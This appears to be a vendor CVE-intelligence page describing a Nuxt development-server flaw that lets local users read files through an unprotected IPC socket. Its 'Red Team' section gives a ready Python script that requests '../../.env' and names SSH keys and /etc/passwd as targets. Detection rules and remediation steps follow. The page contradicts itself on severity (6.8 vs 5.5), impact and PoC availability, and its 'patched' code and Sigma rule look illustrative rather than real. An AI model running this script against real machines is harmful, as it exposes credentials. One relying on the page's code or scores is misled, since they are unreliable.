☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Nuxt logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.8 🐛 CWE-276
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-56301

CVE-2026-56301 Privilege Escalation in Nuxt
📅 PUBLISHED: 2026-06-23 12:13 UTC 🔄 UPDATED: 2026-10-02 19:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: France License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-56301 is a local privilege escalation vulnerability in the Nuxt development server (nuxt dev) on Linux systems. The vulnerability arises because the vite-node IPC server binds to an abstract-namespace Unix socket without any permission restrictions. This allows any unprivileged user on the same machine to enumerate and connect to the socket. Once connected, an attacker can exploit the unprotected module request handler to read arbitrary files, including sensitive files like .env and SSH private keys, through the SSR plugin pipeline. The vulnerability only affects development builds; production builds are not impacted because the IPC server is only active during development.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Nuxt framework, an open-source JavaScript framework based on Vue.js. The vulnerable component is the vite-node IPC server, which is a development dependency. The attack vector is local, meaning an attacker must already have a foothold on the same Linux system. The vulnerability does not affect the supply chain of packages themselves, but it does expose sensitive files that could be used to pivot to other systems or escalate privileges.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 5.5 (Medium)
  • Attack Vector: Local (AV:L) – The attacker must have local access to the same Linux system.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – The attacker needs only unprivileged user access.
  • User Interaction: None (UI:N) – No user interaction is required.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Sensitive files can be read.
  • Integrity Impact: None (I:N) – No data modification is possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires local access, but the impact on confidentiality is high, as it can expose credentials and keys.

Deep Dive & Mechanics

The Nuxt development server uses vite-node to handle module requests during development. This server communicates via an IPC (Inter-Process Communication) mechanism that, on Linux, uses an abstract-namespace Unix socket. Abstract-namespace sockets are not tied to the filesystem and are identified by a name starting with a null byte. By default, these sockets are accessible to all users on the system unless explicit permission restrictions are applied.

The vulnerable code in vite-node creates the IPC server without setting the umask or using chmod to restrict access. This means any local user can connect to the socket and send crafted requests. The module request handler in the SSR plugin pipeline does not properly validate the requested file paths, allowing an attacker to read arbitrary files on the filesystem.

The attack flow is as follows:

  1. An unprivileged user on the same Linux system identifies the abstract-namespace socket (e.g., by scanning /proc/net/unix or using ss -lx).
  2. The attacker connects to the socket and sends a malicious module request that includes a path traversal sequence (e.g., ../../.env).
  3. The vulnerable handler processes the request and returns the contents of the requested file.
  4. The attacker receives sensitive data such as environment variables, API keys, or SSH private keys.

Vulnerable vs. Patched Code

Vulnerable Code (Nuxt < 4.4.7 / < 3.21.7):

// In vite-node IPC server setup
const server = net.createServer((socket) => {
  socket.on('data', (data) => {
    const request = JSON.parse(data.toString());
    // No path validation
    const filePath = request.path;
    const content = fs.readFileSync(filePath, 'utf-8');
    socket.write(JSON.stringify({ content }));
  });
});
server.listen('\0nuxt-ipc'); // Abstract namespace socket, no permissions

Patched Code (Nuxt 4.4.7 / 3.21.7):

// In vite-node IPC server setup
const server = net.createServer((socket) => {
  // Check peer credentials
  const peerCred = socket.getPeerCredentials();
  if (peerCred.uid !== process.getuid()) {
    socket.end('Unauthorized');
    return;
  }
  socket.on('data', (data) => {
    const request = JSON.parse(data.toString());
    // Validate path is within allowed directory
    const allowedDir = path.resolve(process.cwd(), 'node_modules/.vite');
    const filePath = path.resolve(allowedDir, request.path);
    if (!filePath.startsWith(allowedDir)) {
      socket.end('Forbidden');
      return;
    }
    const content = fs.readFileSync(filePath, 'utf-8');
    socket.write(JSON.stringify({ content }));
  });
});
server.listen('\0nuxt-ipc'); // Still abstract namespace, but with credential check

The patch adds two key protections:

  1. Peer credential check: The server verifies that the connecting process has the same UID as the server process, preventing other users from connecting.
  2. Path validation: The requested file path is resolved against an allowed directory and checked to prevent path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Local access to a Linux system running nuxt dev with a vulnerable version.
  • The target user must be running the development server.

Exploitation Steps:

  1. Identify the IPC socket:

    ss -lx | grep nuxt-ipc
    

    This will show the abstract socket name (e.g., @nuxt-ipc).

  2. Connect to the socket and send a malicious request:

    import socket
    import json
    
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect('\0nuxt-ipc')  # Abstract namespace socket
    
    # Request to read .env file
    request = json.dumps({"path": "../../.env"})
    sock.send(request.encode())
    
    response = sock.recv(4096)
    print(json.loads(response.decode())["content"])
    sock.close()
    
  3. Extract sensitive files:

    • .env files
    • ~/.ssh/id_rsa
    • /etc/passwd (if the server runs as root)

Expected Output: The attacker receives the contents of the requested file, which may contain credentials, API keys, or other sensitive data.

Blue Team (Detection & Response)

Detection:

  • Monitor for unusual connections to abstract-namespace sockets, especially those named @nuxt-ipc.
  • Use auditd to log socket connections:
    auditctl -a always,exit -S connect -F a0=AF_UNIX -k unix-socket
    
  • Look for processes reading files outside the expected project directory (e.g., .env, .ssh).

Response:

  • Immediately stop the nuxt dev process.
  • Rotate any credentials that may have been exposed.
  • Upgrade Nuxt to the patched version.
  • Review system logs for unauthorized access.

Indicators of Compromise (IOCs)

  • Network: Unusual connections to abstract-namespace socket @nuxt-ipc from non-owner processes.
  • File System: Unexpected reads of .env, .ssh/id_rsa, or other sensitive files by the node process.
  • Process: Multiple connections to the same abstract socket from different users.
  • Logs: Audit logs showing connect syscalls to AF_UNIX sockets with path @nuxt-ipc.

Detection Engineering

YARA Rule

rule Detect_Nuxt_IPC_Exploit {
  meta:
    description = "Detects attempts to exploit CVE-2026-56301 by reading sensitive files via Nuxt IPC"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-56301"
  strings:
    $s1 = "../../.env" ascii wide nocase
    $s2 = "../../.ssh" ascii wide nocase
    $s3 = "nuxt-ipc" ascii wide nocase
  condition:
    any of ($s1, $s2) and $s3
}

Sigma Rule

title: Nuxt IPC Unauthorized File Read Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to read sensitive files via the Nuxt development IPC socket
author: Valters IT
date: 2026-01-01
references:
  - CVE-2026-56301
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith: '/node'
    CommandLine|contains: 'nuxt dev'
  filter:
    CommandLine|contains: '--production'
  condition: selection and not filter
falsepositives:
  - Legitimate development activities
level: high

Suricata Rule

alert unix any any -> any any (msg:"CVE-2026-56301 Nuxt IPC Unauthorized File Read"; content:"nuxt-ipc"; content:"../../"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Nuxt: Update to Nuxt 4.4.7 or 3.21.7 or later.
    npm install nuxt@latest
    
  2. Restrict Development Environment: Ensure that only trusted users have access to the development server.
  3. Use Firewall Rules: Block access to abstract-namespace sockets from other users using iptables or nftables (though this is complex for abstract sockets).

Long-Term Mitigations:

  • Implement mandatory access controls (e.g., SELinux, AppArmor) to restrict which processes can connect to abstract sockets.
  • Use containerization (e.g., Docker) to isolate development environments.
  • Regularly audit development servers for exposed IPC endpoints.

Workarounds:

  • If upgrading is not immediately possible, run nuxt dev in a container or as a dedicated user with minimal privileges.
  • Monitor for unauthorized connections to the IPC socket using auditd.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-56301/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.